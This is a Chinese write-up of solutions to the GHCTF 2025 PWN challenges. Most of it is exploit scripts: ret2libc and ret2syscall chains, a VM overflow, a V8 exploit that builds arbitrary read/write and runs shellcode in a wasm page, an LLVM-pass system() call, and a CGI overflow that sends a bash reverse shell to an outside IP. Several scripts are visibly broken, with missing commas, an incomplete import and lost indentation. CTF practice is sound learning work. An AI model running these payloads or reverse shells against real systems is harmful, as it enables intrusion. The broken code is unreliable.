GHCTF

GHCTF 2025 新生赛WP PWN

  • 个人信息

战队名:猛猛爆零

比赛排名:23

联系方式(QQ):2667734939

PWN

Hello_world

存在栈溢出和后门函数,但是开启pie保护了,但是覆盖前两位就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = remote("node2.anna.nssctf.cn", 28243)
context(os='linux', arch='amd64')
#context.log_level='debug'

def debug():
gdb.attach(io)

payload = b'a' * 40 + b'\xc2'
io.send(payload)
io.interactive()

ret2libc1

购买商店能够触发栈溢出,并且冥币与钱换算错误,很轻松的便能两手一倒得到足够多的钱,然后就可以标准的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  from pwn import *

io = remote("node2.anna.nssctf.cn", 28758)
context(os='linux', arch='amd64')
#context.log_level='debug'
#io = process("./attachment")
elf = ELF("./attachment")
libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)

def hell_money(number):
io.sendafter(b'6.check youer money', b'3')
io.sendafter(b'How much do you want to spend buying the hell_money?', str(number).encode())

def see_it(number):
io.sendafter(b'6.check youer money', b'7')
io.sendafter(b'How much do you exchange?', str(number).encode())
rdi = 0x400D73
hell_money(1000)
see_it(1000)
io.sendafter(b'6.check youer money', b'5')
payload = b'a' * 72 + p64(rdi) + p64(elf.got["puts"]) + p64(elf.sym["puts"]) + p64(0x400600)
io.send(payload)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
print(hex(libc.address))
hell_money(1000)
see_it(1000)
io.sendafter(b'6.check youer money', b'5')
payload = b'a' * 72 + p64(rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym["system"])
io.send(payload)
io.interactive()

ret2libc2

没有自带的pop_rdi函数,无法实现传参,但是查看汇编

结尾时rax没有清零,反而置为刚刚写入的地址,这样就可以利用printf函数来格式化字符串漏洞泄露libc基地址,然后利用libc的pop_rdi打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
io = remote("node2.anna.nssctf.cn", 28522)
#io = process("./ret2libc2")
context(os='linux', arch='amd64')
#context.log_level='debug'
#io = process("./attachment")
elf = ELF("./ret2libc2")
libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)

#debug()
bss = 0x404090 + 0x900
payload = b'%27$p...\x00'.ljust(0x30, b'\x00') + p64(bss) + p64(0x0401227)
io.send(payload)
libc.address = int(io.recvuntil(b'...', drop=True)[-12:], 16) - libc.sym["__libc_start_main"] - 128
print(hex(libc.address))
payload = b'a' * 0x38 + p64(0x401273) + p64(libc.address + 0x2a3e5) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym["system"])
io.send(payload)
io.interactive()

真会布置栈吗?

代码不长,给了栈的地址,考虑打ret2syscall,可以利用控制传参的代码段中每次jmp都是到r15,为了避免循环注意到:

可以把r15设置成这个地方,再合理布置栈,能够操作寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

io = remote("node2.anna.nssctf.cn", 28184)
#io = process("./attachment")
context(os='linux', arch='amd64')
#context.log_level='debug'
elf = ELF("./attachment")

def debug():
gdb.attach(io)

#debug()
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(stack))

payload = p64(0x401017) + p64(stack + 56) + p64(stack + 16) + p64(59) + p64(0x401011) + p64(0x401011) + p64(0x40100C) + p64(0x401021) + p64(0x401027) + p64(0x40100A) + b'/bin/sh\x00'
io.send(payload)
io.interactive()

my_vm

代码量不大的vm,逆起来难度不高,输入几个数字分解成为命令进行操作,reg数组存在溢出,可以修改SP,把sp变成负数,使得指向funcptr,然后把其改变成后门函数,就可以get shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
  from pwn import *

io = remote("node1.anna.nssctf.cn", 28034)
#io = process("./my_vm")
context(os='linux', arch='amd64')
#context.log_level='debug'
elf = ELF("./my_vm")

def debug():
gdb.attach(io)

def hex_to_signed(integer_value, bits = 32):
mask = (1 << bits) - 1
if integer_value & (1 << (bits - 1)):
return integer_value - (1 << bits)
else:
return integer_value & mask


def run_0(command, t_r, r_1, r_2):
return str(hex_to_signed((command << 24) + (t_r << 16) + (r_1 << 8) + r_2)).encode()

def run_1(command, t_r, num):
return str(hex_to_signed((command << 24) + (t_r << 16) + num)).encode()
#debug()
backdoor = 0x400877
stack = 0x642120
target = 0x6020C0
num = (target - stack) // 4
# 65534 << 16 + 65512
io.sendlineafter(b'set your IP:', b'0')
io.sendlineafter(b'set your SP:', b'65534')
io.sendlineafter(b'How much code do you want to execve:', b'11')

io.sendline(run_1(16, 0, 16)) # r[0] = 16
io.sendline(run_0(128, 10, 10, 0)) #sp << 16
io.sendline(run_1(16, 1, 0xfae8)) #r[1] = 65512 - 0x500
io.sendline(run_1(16, 2, 0x500)) #r[2] = 0x500
io.sendline(run_0(64, 1, 1, 2)) # r[1]+=r[2]
io.sendline(run_0(64, 10, 10, 1)) # sp += r[0]
io.sendline(run_1(16, 1, 0x40)) #r[1] = 0x40
io.sendline(run_0(128, 1, 1, 0))#r[1] = 0x400000
io.sendline(run_1(16, 2, 0x877)) #r[2] = 0x877
io.sendline(run_0(64, 1, 1, 2)) # r[1]+=r[2]
#debug()
io.sendline(run_0(32, 1, 0, 0)) #SP[sp] = r[1]
io.interactive()

my_v8

V8得一个漏洞观察diff文件

新增两个函数Myread和Mywrite,可以泄露和修改数组后面的数据,这个数据代表了该数组存储的数据类型,所以就导致可以修改其类型使对类型解析的利用

比如说,如果是一个标准数据类型,就数组存储的是本身的值,调用该数就直接操作这个数据

如果是一个引用数据类型,数组存的是一个指针,对数据的操作会进行一层解引用

那么就可以对一个地址进行任意的读写

原理就是伪造一块数据,这个伪造的数据就是可控的,把这个伪造的数据的数组当作对象数组处理时,我们能对伪造的数据中的伪指针解引用,从而读写想要的修改的地址

再根据一块可读可写的地址写入shellcode执行,然后拿到shell

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.Mywrite(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.Mywrite(obj_array_map);
let faked_obj = float_array[0];
float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}


var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);


f();

Fruit Ninja

本题最大难点在于逆向,逆完后发现漏洞点在于

V21 b64解密后没有限制输出数组的长度,造成v18存在溢出

V18后面是dest

dest是一个文件路径,在一个条件语句中能被执行,我们就控制程序执行我们想要执行的程序

需要注意的是,要进入这个分支需要最开始输入的那个文件可执行的,就可以利用rule.cgi文件

执行我们想要执行的程序后由于没有回显,我们使用反弹shell的方法来cat flag

我们需要开启一个端口来进行监听,exp如下(注意后面的的命令需要是我们开启监听的ip,端口,没有公网可以使用内网穿透)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *


io = remote("node6.anna.nssctf.cn", 29505)
context(os='linux', arch='amd64')
#context.log_level='debug'
payload = b'pwner'.ljust(256, b'\x00') + b'/bin/bash\x00'
payload = base64.b64encode(payload)
print(len(payload))
io.sendline(b'POST /rule.cgi HTTP/1.1')
io.sendline(b'Content-Length: 60')
io.sendline(b'Authorization: Basic ' + payload)
io.sendline()
io.sendline(b'bash -i >& /dev/tcp/111.161.122.206/62744 0>&1')
io.interactive()

Show Me The Code

llvm

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
  class edoc {
public:
void addi(unsigned char x, int y, int z) {}
void chgr(unsigned char x, int y) {}
void sftr(unsigned char x, bool y, unsigned char z) {}
void borr(unsigned char x, unsigned char y, unsigned char z) {}
void movr(unsigned char x, unsigned char y) {}
void save(unsigned char x, unsigned int y) {}
void load(unsigned char x, unsigned int y) {}
void runc(unsigned char x, unsigned int y) {}
};

edoc obj;

void testfunction(){}

int c0deVmMain() {
obj.addi(0, 0x442000, 0);
obj.movr(6, 0);
obj.addi(1, 0x443000, 0);
obj.movr(7, 1); //regs[7] = regs[6] + 0x1000
obj.load(2, 0xad8); //load(0x4420xad8): regs[2] = getenv_addr

obj.sftr(2, 0, 16);
obj.sftr(2, 1, 12);
obj.addi(5, 0x400, 0);
obj.borr(2, 2, 5);
obj.chgr(2, 0xc00);
obj.sftr(2, 1, 4); //Sets the lower two bytes to null and increments the third last byte by 1
obj.addi(4, 0xd70, 0);
obj.borr(2, 2, 4); //clear and add

obj.addi(4, 0x3024, 0);
obj.save(4, 0x1000); //save $0

obj.save(2, 0xb00); //save system

obj.runc(1, 0xb00); //system('$0')
return 0;
}

使用

clang-12 -emit-llvm -S exp.cpp -o exp.ll

进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import

io = remote("node1.anna.nssctf.cn"28424)

context(os='linux', arch='amd64')

#context.log_level='debug'

fd = open("./exp.ll"'rb')
payload = base64.b64encode(fd.read())
payload += b'\nEOF\n'
io.sendlineafter(b'(EOF to stop):', payload)
io.interactive()

然后运行就行,多试几次,就能够得到shell